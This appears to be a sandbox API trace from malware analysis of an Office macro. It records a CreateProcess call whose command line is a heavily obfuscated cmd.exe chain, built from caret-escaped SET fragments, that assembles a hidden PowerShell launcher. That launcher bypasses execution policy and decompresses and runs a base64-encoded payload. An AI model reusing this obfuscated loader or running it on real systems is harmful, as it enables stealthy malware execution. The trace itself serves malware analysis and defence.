^J^F^O6=G^('VZBba8^IwGIb/^SpA^O^E^remtR5^Aix)&& (^s^e^t c^WSV=^A^rm^U)&& (Se^T ^ ^BW7=^XV)&( ,, , ,, (^SEt ^ C^ij=^vQN) , ,, )& (Set q^X=^i^I^))&&( , (^set ^ 8^i47=^ ^{`$_), ,, )&&(^s^Et ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&& (^SEt ^q0^C^c=^9)&& (SE^T ^ ^OZ=.Co^MpR^ES)&( , , , ,, (s^E^T ^ ^ ^U19=e^a) , , )&( , (set ^8R=O) , )&&( ,(SE^T ^ ^xm=^h) )&& ( , (^s^e^t v^F=^s ^h^i^dDe), )& (S^e^t ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( , , ,(S^E^T ^a^z8=N.^D^efLa^tesTR) , )& (^SET ^ b^1=^M^()&& (s^eT ^ D^RKS=FI^l^E^ -NoL^ogO )&& (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&& (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)\"\"^\\\"\" ), , , )& (^se^t b^aCI=4k^Bwy)&& (,, , (sE^T ^ ^LK=f^R^o^m^ba), )&&(sE^t ^lPo=^([C^hAr]44^).T^oSTRIng)&& (, (s^Et Op^1=4) , )&&(se^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stReAMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, , (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^On^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8^e1hjBC^Xsd1^fexS2i)&& ( ,(s^ET ^ ^rj^UN=ni) , )& ( (SE^t ^H8^O=^QBL^9tiq^E^M^8^utN) ,, , )& (,(s^et bC^0=h^K) ,)&& ( , , ,, , (s^ET ^cI=^(^ ^`$^_\"\"\\\"\" ) , )&& (, ,, (^S^et ^ID=^21^]+), )&&(^sET ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&& ( , (^SEt ^ Ea^u=S) , )&( ,(^s^Et ^Z^HTE=0^f), , , , , )&(^S^eT ^cN^Vz=^L1)& (^se^t ^oP8=p)& ( ,(^SeT ^ UQ7^k=^s^e64sTrIN), )&& (, , , , , (SE^T ^ ^7^2=^cP^V) , , , , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )& (Se^T ^ X^j=+^ )&&( ,(S^eT ^Eh^p=^-ExEC^Ut ) , )& ( ,(^S^et ^h^g=+ \"\"\\\"\"[^sys^t^E^M^.^t), )& ( , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6) ,,, , ,)& (^seT ^ ^R5qC=^'^)^()& (, (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&& (, (se^t ^ ^olr8=^}) , )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t S^Y^s^T^EM)&& (, (^Set ^ J^V^w=^od^E) , )&(^s^ET g^I=p^b^RXN^T^S)&& (^Set ^ us6=+00^z)& ( , , , (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)&(, (s^eT JG^A=T^]::), )&&(se^T ^ L^b=ho^M^E[34]+)&& ^sEt p^VZ=\"\"&(, (^seT ^ ^6vzH=a) , )&( , (S^eT ^u5=^E3Kyvr^/E) ,)&&( ,(^seT ^rp=^iN^G]::^aS^C), , , )& ( ,(Set m^Lwq=U^5^EyC^8^='^)\"\"\\\"\" + ), , , )&& (S^ET ^ ^bn=^)^ ^+ \"\"\\\"\"^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T ^ G^U=^^^|^ )&& (S^et ^ b^HT=[)&( , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^)) ,, ,)&( ,(se^t ^i8T3=^(),)&& (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , , (sE^t ^ Eh=Z^ttA), ,, ,, )& (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , , , ,(SE^T 3^y=I^hv) , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&& , ca^LL ,, SeT q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x27df50*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x27df30 | out: lpCommandLine="cmd /c C%PrOGRaMFIlES:~ -7,1%D, , /V:On ,,/%aPPdAta:~-7,1% \" , (Se^T j1=^Ew-obje^ct I^o.c^OMp)& (^sET ^ ^J^F^O6=G^('VZBba8^IwGIb/^SpA^O^E^remtR5^Aix)&& (^s^e^t c^WSV=^A^rm^U)&& (Se^T ^ ^BW7=^XV)&( ,, , ,, (^SEt ^ C^ij=^vQN) , ,, )& (Set q^X=^i^I^))&&( , (^set ^ 8^i47=^ ^{`$_), ,, )&&(^s^Et ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&& (^SEt ^q0^C^c=^9)&& (SE^T ^ ^OZ=.Co^MpR^ES)&( , , , ,, (s^E^T ^ ^ ^U19=e^a) , , )&( , (set ^8R=O) , )&&( ,(SE^T ^ ^xm=^h) )&& ( , (^s^e^t v^F=^s ^h^i^dDe), )& (S^e^t ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( , , ,(S^E^T ^a^z8=N.^D^efLa^tesTR) , )& (^SET ^ b^1=^M^()&& (s^eT ^ D^RKS=FI^l^E^ -NoL^ogO )&& (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&& (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)\"\"^\\\"\" ), , , )& (^se^t b^aCI=4k^Bwy)&& (,, , (sE^T ^ ^LK=f^R^o^m^ba), )&&(sE^t ^lPo=^([C^hAr]44^).T^oSTRIng)&& (, (s^Et Op^1=4) , )&&(se^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stReAMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, , (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^On^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8^e1hjBC^Xsd1^fexS2i)&& ( ,(s^ET ^ ^rj^UN=ni) , )& ( (SE^t ^H8^O=^QBL^9tiq^E^M^8^utN) ,, , )& (,(s^et bC^0=h^K) ,)&& ( , , ,, , (s^ET ^cI=^(^ ^`$^_\"\"\\\"\" ) , )&& (, ,, (^S^et ^ID=^21^]+), )&&(^sET ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&& ( , (^SEt ^ Ea^u=S) , )&( ,(^s^Et ^Z^HTE=0^f), , , , , )&(^S^eT ^cN^Vz=^L1)& (^se^t ^oP8=p)& ( ,(^SeT ^ UQ7^k=^s^e64sTrIN), )&& (, , , , , (SE^T ^ ^7^2=^cP^V) , , , , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )& (Se^T ^ X^j=+^ )&&( ,(S^eT ^Eh^p=^-ExEC^Ut ) , )& ( ,(^S^et ^h^g=+ \"\"\\\"\"[^sys^t^E^M^.^t), )& ( , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6) ,,, , ,)& (^seT ^ ^R5qC=^'^)^()& (, (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&& (, (se^t ^ ^olr8=^}) , )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t S^Y^s^T^EM)&& (, (^Set ^ J^V^w=^od^E) , )&(^s^ET g^I=p^b^RXN^T^S)&& (^Set ^ us6=+00^z)& ( , , , (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)&(, (s^eT JG^A=T^]::), )&&(se^T ^ L^b=ho^M^E[34]+)&& ^sEt p^VZ=\"\"&(, (^seT ^ ^6vzH=a) , )&( , (S^eT ^u5=^E3Kyvr^/E) ,)&&( ,(^seT ^rp=^iN^G]::^aS^C), , , )& ( ,(Set m^Lwq=U^5^EyC^8^='^)\"\"\\\"\" + ), , , )&& (S^ET ^ ^bn=^)^ ^+ \"\"\\\"\"^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T ^ G^U=^^^|^ )&& (S^et ^ b^HT=[)&( , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^)) ,, ,)&( ,(se^t ^i8T3=^(),)&& (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , , (sE^t ^ Eh=Z^ttA), ,, ,, )& (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , , , ,(SE^T 3^y=I^hv) , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&& , ca^LL ,, SeT q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%", lpProcessInformation=0x27df30*(hProcess=0xae8, hThread=0xad8, dwProcessId=0xac0, dwThreadId=0xac4)) returned 1 [0082.572] GetLastError () returned 0x0 [0082.572] WaitForInputIdle (hProcess=0xae8, dwMilliseconds=0x2710) returned 0xffffffff [0082.572] CloseHandle (hObject=0xad8) returned 1 [0082.572] CloseHandle (hObject=0xae8) returned 1 [0082.573] GetAsyncKeyState (vKey=27) returned 0 [0082.672] IMalloc:Free (This=0x7feffc15380, pv=0xb6feb50) [0082.672] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb6052a0 [0082.672] IUnknown:AddRef (This=0xb3e3820) returned 0x2 [0082.672] IUnknown:QueryInterface (in: This=0xb3e3820, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27ec70 | out: ppvObject=0x27ec70*=0x0) returned 0x80004002 [0082.672] IUnknown:AddRef (This=0xb3e38d0) returned 0x2 [0082.672] IUnknown:AddRef (This=0xb3e3928) returned 0x2 [0082.672] IUnknown:QueryInterface (in: This=0xb3e3820, riid=0x7fee5e040f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27ebb8 | out: ppvObject=0x27ebb8*=0xb3e3820) returned 0x0 [0082.672] ITypeInfo2:GetCustData (in: This=0xb3e3820, GUID=0x7fee5e0d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x27ebc8 | out: pVarVal=0x27ebc8*(varType=0x0, wReserved1=0x27, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0082.672] IUnknown:Release (This=0xb3e3820) returned 0x2 [0082.672] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3820, memid=-1, refPtrFlags=0x27ebc0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27ebe0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27ebe0*="") returned 0x0 [0082.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Worksheet", cchWideChar=10, lpMultiByteStr=0x27ead0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Worksheet", lpUsedDefaultChar=0x0) returned 10 [0082.673] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet") returned 0x10fec1 [0082.673] ITypeInfo:RemoteGetTypeAttr (in: This=0xb3e38d0, ppTypeAttr=0x27ebc0, pDummy=0x0 | out: ppTypeAttr=0x27ebc0, pDummy=0x0) returned 0x0 [0082.673] ITypeInfo:LocalReleaseTypeAttr (This=0xb3e38d0) returned 0x0 [0082.673] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x0, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.673] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.673] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x1, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.673] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.673] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x2, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.673] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.673] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x3, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.673] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.673] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x4, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.673] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.673] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x5, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.673] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.673] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x6, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.673] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.673] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x7, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.673] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.673] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x8, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.673] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.673] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x9, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.673] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.673] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0xa, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.673] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.673] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0xb, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.673] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.673] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0xc, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.673] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.673] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0xd, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.673] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.673] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0xe, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.673] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.673] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0xf, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.673] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.674] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x10, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.674] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.674] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x11, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.674] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.674] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x12, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.674] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.674] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x13, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.674] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.674] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x14, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.674] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.674] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x15, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.674] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.674] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x16, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.674] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.674] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x17, ppFuncDesc=0x27eb98, pDummy=0xf50 | out: ppFuncDesc=0x27eb98, pDummy=0xf50) returned 0x0 [0082.674] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.674] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x18, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.674] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.674] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x19, ppFuncDesc=0x27eb98, pDummy=0xf50 | out: ppFuncDesc=0x27eb98, pDummy=0xf50) returned 0x0 [0082.674] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.674] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x1a, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.674] ITypeInfo:LocalReleaseFuncDesc 